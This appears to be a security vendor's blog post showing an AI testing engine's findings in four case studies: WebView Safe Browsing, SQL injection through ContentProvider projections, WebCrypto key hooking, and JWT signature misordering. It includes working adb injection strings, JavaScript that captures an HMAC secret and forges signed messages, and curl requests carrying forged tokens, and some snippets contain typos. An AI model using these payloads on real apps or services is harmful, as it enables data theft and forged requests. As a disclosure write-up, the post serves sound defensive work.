Automated vulnerability scanning is, at its core, rule‑based. Those rules face two unavoidable limits:

• They only detect what we already know.
• Because rules are costly to build and maintain, we prioritize the highest‑risk and most likely issues.

That leaves unknowns and one‑off edge cases, like a bespoke language quirk that can still lead to RCE, outside typical coverage.

AI‑powered testing with reasoning breaks that mold. It can form hypotheses, adapt to context, and probe in ways no static rule ever encoded.

That said, it’s not yet a full replacement. From a cost–benefit standpoint, a tuned rules engine still executes known checks much faster and cheaper.

Enough theory, let’s get practical!

The examples below show the AI Ostorlab engine uncovering genuinely novel vulnerabilities we didn’t know were possible, along with fringe, hard‑to‑detect issues that current automation routinely misses.

Case Study 1: WebView Safe Browsing Bypass

During a mobile application assessment, the AI engine encountered a standard WebView implementation that initially appeared secure. The application loaded remote content with standard security configurations, but the AI's systematic approach revealed an interesting oversight.

WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webView.loadUrl(url);

The AI began by analyzing the WebView configuration against Android's security documentation. While most security guides focus on apparent misconfigurations, such as enabling file access or JavaScript interfaces, the AI identified that Safe Browsing, Google's malware and phishing protection, was not explicitly enabled or verified.

The AI systematically tested the WebView's behavior against various threat scenarios:

• Malware Detection Test: Loading known malware hosting domains
• Phishing Detection Test: Creating convincing phishing pages
• Mixed Content Analysis: Testing HTTP content within HTTPS contexts
• Certificate Validation: Examining SSL/TLS certificate handling

Critical Discovery:

// AI-generated test payload
Adb shell am start -a android.inetnt.action.VIEW -n xxx/.ArticleViewerActivity –es url “https://testsafebrowsing.appspot.com/s/phishing.html” 
// This resolved to a known malicious IP without triggering Safe Browsing warnings

The AI discovered that while Safe Browsing is enabled by default on Android 8.0+, the application never verified that this protection was active, and on older Android versions or modified ROMs, this protection might be disabled or bypassed.

In this case, the absence of the Safe Browsing check increases the phishing risk due to the app’s lack of allow listing.

The AI demonstrated that an attacker could:

• Bypass Safe Browsing protection on vulnerable device configurations
• Serve malicious content that appears legitimate to users
• Exploit trust relationships between the application and remote content

AI-Generated Fix:

WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();

// Explicitly enable and verify Safe Browsing
webSettings.setSafeBrowsingEnabled(true);

webView.setSafeBrowsingWhitelist(Arrays.asList("trusted-domain.com"), null);

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onSafeBrowsingHit(WebView view, WebResourceRequest request, 
                                  int threatType, SafeBrowsingResponse callback) {
        // AI identified this callback as critical for proper threat handling
        if (threatType == SAFE_BROWSING_THREAT_MALWARE || 
            threatType == SAFE_BROWSING_THREAT_PHISHING) {
            callback.backToSafety(true);
            Log.w("Security", "Blocked malicious URL: " + request.getUrl());
        }
    }

    @Override
    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
        // AI-generated additional validation
        String url = request.getUrl().toString();
        if (isKnownMaliciousDomain(url) || containsSuspiciousPatterns(url)) {
            Log.w("Security", "Blocked suspicious URL: " + url);
            return true;
        }
        return super.shouldOverrideUrlLoading(view, request);
    }
});

The knowledge about Safe Browsing is Android-specific, and unless a pentester has faced or worked on this item, it is uncommon to cover these types of vulnerabilities in the assessment.

https://developer.android.com/reference/android/webkit/WebViewClient#onSafeBrowsingHit(android.webkit.WebView,%20android.webkit.WebResourceRequest,%20int,%20android.webkit.SafeBrowsingResponse)

Case Study 2: SQL Injection in Query Projections

The second discovery involved an SQL injection through query projections in SQLite.
The vulnerability resided in the app's FileContentProvider, which was exported without permission restrictions, making it accessible to any application on the device.
What made this discovery remarkable was the Engine’s ability to recognize that an SQL injection is possible inside a query projection. An attack vector that has not been previously documented as targetable by SQL injection.

The Engine demonstrated methodical vulnerability hunting by first conducting static analysis of the APK to enumerate all ContentProviders, their authorities, and permission configurations.
It then identified that the provider at content://[REDACTED].myblocnote.provider/ was externally accessible and lacked proper input validation.

The Engine proceeded to dynamic testing using crafted ADB commands to inject SQL expressions through the projection parameter.

It systematically tested various SQL injection techniques through the projection parameter, starting with simple constant evaluation (--projection "size:1") and progressively escalating to complex schema enumeration attacks.

The Engine successfully extracted the complete database schema by injecting (SELECT group_concat(name) FROM sqlite_master), revealing tables like android_metadata, files, sqlite_sequence, and others that should never be accessible to external applications.

What distinguished this discovery was the Engine's ability to work around command-line limitations and demonstrate real-world exploitation techniques.

It cleverly used SQL comments (/x/) and the char() function to bypass shell tokenization issues, showing practical knowledge that goes beyond theoretical vulnerability identification. For example, to extract column information from the files table, the Engine constructed the query:

--projection "size:(SELECT group_concat(name) FROM pragma_table_info(char(102,105,108,101,115)))"

This revealed the internal database structure (_id, name, path, size columns), demonstrating complete schema disclosure. The Engine further demonstrated its data exfiltration capabilities by extracting actual file names through subqueries, thereby truncating results to avoid overwhelming output and still proving the vulnerability's severity.

How confirmed (tools and evidence)

• adb shell content query with colon-separated projection entries; escaped
  parentheses for function/subselect calls; occasionally used SQL comments
  /x/ and char() to avoid CLI tokenization/quoting issues.
• Sample confirmations on /root:
  • Constant evaluation:
    • Command: adb shell content query --uri content://xxxxx.myblocnote.provider/root --projection "size:1"
    • Output (trimmed): Row: 0 size=1024, 1=1
  • Built-in function:
    • Command: adb shell content query --projection "size:sqlite_version()" …
    • Output: Row: 0 size=1024, sqlite_version()=3.44.3
  • Schema names via sqlite_master:
    • Command: --projection "size:(SELECT/x/group_concat(name)FROM/x/sqlite_master)"
    • Output includes: android_metadata,files,sqlite_sequence,capabilities,uploads,camera_ uploads_sync,user_quotas
  • Columns of files via pragma_table_info:
    • Command: --projection "size:(SELECT/x/group_concat(name)FROM/x/pragma_table_info(char(102,105,108,101,115)))"
    • Output: _id,name,path,size
  • DDL (CREATE TABLE files):
    • Command: --projection "size:(SELECT/x/sql/x/FROM/x/sqlite_master/x/WHERE/x/name=char(102, 105,108,101,115)/x/AND/x/type=char(116,97,98,108,101)/x/LIMIT/x/1)"
    • Output (trimmed): CREATE TABLE files (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, path TEXT NOT NULL, size INTEGER)
  • Cross-table count (capabilities):
    • Command: --projection "size:(SELECT/x/count(*)FROM/x/capabilities)"
    • Output (trimmed): …=0
  • Real data sample (truncated filenames, limited):
    • Command: --projection "size:(SELECT/x/group_concat(substr(name,1,5),char(124))FROM/x/(SELECT/x/name/x/FROM/x/files/x/LIMIT/x/3))"
    • Output: …=Docum|Image|Music
  • Error-based confirmation (unknown function):
    • Command: --projection "size:pwned()"
    • Error (trimmed): android.database.sqlite.SQLiteException: no such function: pwned … while compiling: SELECT size, pwned() FROM files
  • Unknown column (no allowlist):
    • Command: --projection "size:non_existent_col"
    • Error (trimmed): no such column: non_existent_col … while compiling: SELECT size, non_existent_col FROM files
• Confirmations on item URIs:
  • /file/1: --projection "size:1" -> Row includes “1=1”.
  • /directory/1: --projection "size:sqlite_version()" -> sqlite_version()
    column returned.

Case Study 3: WebCrypto hooking for session secret exfiltration

This vulnerability was found in an application that had passed a human penetration test and was missed by the human testers.

This is an injection-timing vulnerability in a WebView-based provider. The provider is injected at the document end, allowing page scripts to run first and hook WebCrypto. The provider uses window.crypto.subtle to import and use the HMAC secret for signing. Hooked functions can read key material and exfiltrate it, enabling any script to forge signed messages that the native bridge will accept as authentic.

According to the engine: this class of vulnerability is common when security-sensitive scripts are injected late into hostile pages.

Attack Methodology

• Attacker ensures JavaScript runs before provider injection (trivial for any page).
• Hooks crypto.subtle.importKey/sign to observe key material when the provider initializes.
• Extracts the per-session secret (raw key) and computes valid HMACs for arbitrary requests.
• Sends crafted messages via window.ReactNativeWebView.postMessage with valid signatures.

A) Hook SubtleCrypto to exfiltrate the HMAC key on reload

// Run BEFORE provider injection (e.g., in-page script, or paste then reload)
const origImportKey = crypto.subtle.importKey;
crypto.subtle.importKey = async function(fmt, keyData, alg, extractable, usages) {
  if (fmt === 'raw' && alg && (alg.name || alg) === 'HMAC') {
    const u8 = new Uint8Array(keyData);
    const hex = Array.from(u8).map(x => x.toString(16).padStart(2,'0')).join('');
    console.log('Captured HMAC secret (hex):', hex);
  }
  return origImportKey.apply(this, arguments);
};
// Reload the page; when the provider initializes at document-end, the secret is logged.

Observed result: Browser console prints the per-session secret in hex.

B) Forge a signed rpc_request using the captured secret

// Using the secret captured above, compute a valid signature and post directly
async function sign(secretHex, obj) {
  const key = await crypto.subtle.importKey('raw', new Uint8Array(objHex(secretHex)), { name:'HMAC', hash:'SHA-256' }, false, ['sign']);
  const data = new TextEncoder().encode(JSON.stringify(obj));
  const sig = await crypto.subtle.sign('HMAC', key, data);
  return Array.from(new Uint8Array(sig)).map(x => x.toString(16).padStart(2,'0')).join('');
}
function objHex(h) { return h.match(/../g).map(b => parseInt(b,16)); }

(async () => {
  const unsigned = { id: 'attacker-1', method: 'rpc_request', context: { network: 'evm', method: 'eth_chainId', params: [] } };
  const signature = await sign('<PASTE_SECRET_HEX_HERE>', unsigned);
  const msg = { ...unsigned, signature };
  window.ReactNativeWebView.postMessage(JSON.stringify(msg));
})();

Case Study 4: JWT signature verification bypass

Here is another interesting example of a tricky-to-discover bug, below the output of the engine and how it confirmed the issue:

Evidence shows the service evaluates JWT claims before verifying signatures.

Tokens with invalid/attacker signatures and deliberately corrupted signatures produce issuer-related errors instead of signature failures across protected endpoints. This confirms a signature verification bypass/misordering in the JWT validation pipeline.

• Affected host: https://gateway.[REDACTED]-prod.com (HTTP/2 via CloudFront → Kestrel)
• Confirmed on endpoints: GET /api/consumer/user/kyc, GET /api/consumer/accounts/USD (from prior dataset), and contrasted behavior on GET /api/consumer/features (public/unauthenticated)
• Algorithms: RS256, HS256 affected; alg=none rejected (presence of signature is required, but not validated)

Reproduction and Raw Evidence

Control A — No token (baseline)

curl -i --http2 --compressed \
  -H 'accept: application/json' \
  -H 'user-agent: okhttp/4.12.0' \
  -H 'mobile-app-type: [REDACTED]' \
  -H 'mobile-app-platform: ANDROID' \
  -H 'mobile-app-version: 11.5' \
  -H 'accept-encoding: gzip' \
  'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'

Response excerpt:

HTTP/2 401
www-authenticate: Bearer error="invalid_token"
content-length: 0

Control B — alg=none token (signatureless) is rejected (expected)

curl -i --http2 --compressed \
  -H 'accept: application/json' \
  -H 'user-agent: okhttp/4.12.0' \
  -H 'mobile-app-type: [REDACTED]' \
  -H 'mobile-app-platform: ANDROID' \
  -H 'mobile-app-version: 11.5' \
  -H 'accept-encoding: gzip' \
  -H 'Authorization: Bearer [REDACTED]' \
  'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'

Response excerpt:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The signature is invalid"
content-length: 0

Interpretation: Service requires a signature field. Next tests show it does not verify signature integrity for signed tokens.

Core Evidence 1 — RS256 token signed by attacker key with header-supplied JWK → issuer error instead of signature error

Token (decoded):

{
  "header": {
    "alg": "RS256",
    "typ": "JWT",
    "kid": "test-rsa-1",
    "jwk": {"kty": "RSA", "n": "<attacker-n>", "e": "AQAB"}
  },
  "payload": {
    "sub": "+50644440002",
    "iss": "[REDACTED]",
    "aud": "[REDACTED]-mobile",
    "iat": 1759166743,
    "nbf": 1759166743,
    "exp": 1759167403
  }
}

Request:

curl -i --http2 --compressed \
  -H 'accept: application/json' -H 'user-agent: okhttp/4.12.0' \
  -H 'mobile-app-type: [REDACTED]' -H 'mobile-app-platform: ANDROID' \
  -H 'mobile-app-version: 11.5' -H 'accept-encoding: gzip' \
  -H 'Authorization: Bearer <attacker-RS256-token-with-jwk-header>' \
  'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'

Response excerpt:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer '[REDACTED]' is invalid"
content-length: 0

Interpretation: Server advanced to issuer validation instead of rejecting for unknown/untrusted key or bad signature.

Core Evidence 2 — RS256 token without jwk header, attacker-signed → issuer error persists

Authorization: Bearer [REDACTED]

Response excerpt:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

Interpretation: Still no signature rejection; claim validation proceeds.

Core Evidence 3 — RS256 token with deliberately corrupted signature → issuer error persists across protected endpoints

Tampered token (only 3rd segment altered; header + payload unchanged):

[REDACTED]

Observed responses:

• GET /api/consumer/accounts/USD →

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

• GET /api/consumer/user/kyc →

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

Interpretation: Despite a broken signature, claim checks (issuer) run first.

Core Evidence 4 — HS256 token with arbitrary secret → issuer error instead of signature/alg error

[REDACTED]

Response excerpt:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

Interpretation: Algorithm/key mismatch ignored; claim checks proceed.

Corroborating Probe — Corrupted-signature RS256 on authenticated endpoint returns issuer error.

Request (once):

curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
  -H "accept: application/json" \
  -H "user-agent: okhttp/4.12.0" \
  -H "accept-encoding: gzip" \
  -H "authorization: Bearer [REDACTED]" \
  --compressed

Response (verbatim headers):

HTTP/2 401
content-length: 0
date: Mon, 29 Sep 2025 18:30:50 GMT
server: Kestrel
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://attacker.invalid/issuer' is invalid"

Interpretation: Endpoint authenticates requests but evaluates issuer claim from an unverified token.

Claim Sequencing Test — Align only iss; still on corrupted signature → issuer still invalid (ordering confirmed)

curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
  -H "accept: application/json" \
  -H "user-agent: okhttp/4.12.0" \
  -H "accept-encoding: gzip" \
  -H "authorization: Bearer [REDACTED]" \
  --compressed

Response:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://gateway.[REDACTED]-prod.com' is invalid"

Interpretation: Claim checks continue to run (still issuer), even though the signature is corrupted. Ordering is misconfigured.

Conclusion

Rule-based scanners excel at speed and coverage of the known, but they inevitably miss the unknown and the one-off. The cases here make that gap tangible.

Reasoning-driven AI, like the AI Ostorlab engine, bridges this gap by forming hypotheses, adapting probes in real time, and surfacing vulnerabilities that no fixed rule anticipated. The result is a complementary strategy that finds different (more) bugs.